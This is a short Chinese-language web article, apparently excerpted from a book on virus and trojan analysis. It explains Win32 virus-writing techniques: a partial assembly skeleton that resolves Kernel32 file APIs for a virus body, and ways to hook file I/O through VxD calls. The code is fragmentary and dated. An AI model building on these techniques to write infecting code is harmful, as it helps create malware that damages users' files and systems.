Windows病毒编制的关键技术
发表于:2015-08-15 14:54 阅读:
在Win32下编写病毒不是一件困难的事情,但是,在Win32下的系统功能调用不是通过中断来实现,而是由DLL中导出,直接在病毒中得到API入口不是一件容易的事。因为在同一个版本的Windows下,同一个核心函数的入口总是固定的(指由Kernel32,gdi32,user32导出的函数),因此可以用以下的方法得到函数入口:
.386p
.model flat,stdcall
extrn GetModuleHandleA:proc
extrn GetProcAddress:proc
extrn ExitProcess:proc
.data
szKernel db ''KERNEL32.DLL'',0
szFindFirst db ''FindFirstFileA'',0
szFindNext db ''FindNextFileA'',0
szFindClose db ''FindClose'',0
szGetCurrentDir db ''GetCurrentDirectoryA'',0
szGetWinDir db ''GetWindowsDirectoryA'',0
szGetSysDir db ''GetSystemDirectoryA'',0
szGetFileAttrib db ''GetFileAttributesA'',0
szSetFileAttrib db ''SetFileAttributesA'',0
szlopen db ''_lopen'',0
szlread db ''_lread'',0
szlwrite db ''_lwrite'',0
szlclose db ''_lclose'',0
szllseek db ''_llseek'',0
hKernel dd 0
;初始代码
start: push szKernel
call GetModuleHandleA
mov hKernel,eax
push szFindFirst
push hKernel
call GetProcAddress
mov FindFirstFile,eax
....
jmp VirusStart
InitExit: push 0
call ExitProcess
VirusStart: jmp Entry
HostEntry dd InitExit
FindFirstFile dd 0
FindNextFile dd 0
...
Entry:
...
end start
在初始代码处得到要用的函数入口并将它填入病毒中,在病毒运行时就可以直接使用了。
另一种变通的方法是截留文件I/O操作。在Windows下截留文件I/O操作有多种方法,在病毒中使用的主要有两种。
1、使用VxDCall IFSMgr_InstallFileSystemHook。
2、截留Kernel32.dll中导出的第一个函数VxDCall对DOS的int 21h的呼叫(EAX=
VxDCall的代码如下:
mov eax, dword ptr [esp+04]
pop dword ptr [esp]
call fword ptr cs:[xxxxxxxx] |
其他寄存器为调用时所需的值,以后的就和在DOS下写病毒没什么差别了。
此文章节选自《计算机病毒与木马程序剖析》
(非特殊说明,本文版权归原作者所有,转载请注明出处 )
鸣人致力于为企业提供数据恢复、机房建设、数据库运行、运营及安全等全方位服务。
想在手机上、随时获取互联网前沿、设计资讯以及各种意想不到的"福利"吗?通过微信扫描二维码快速添加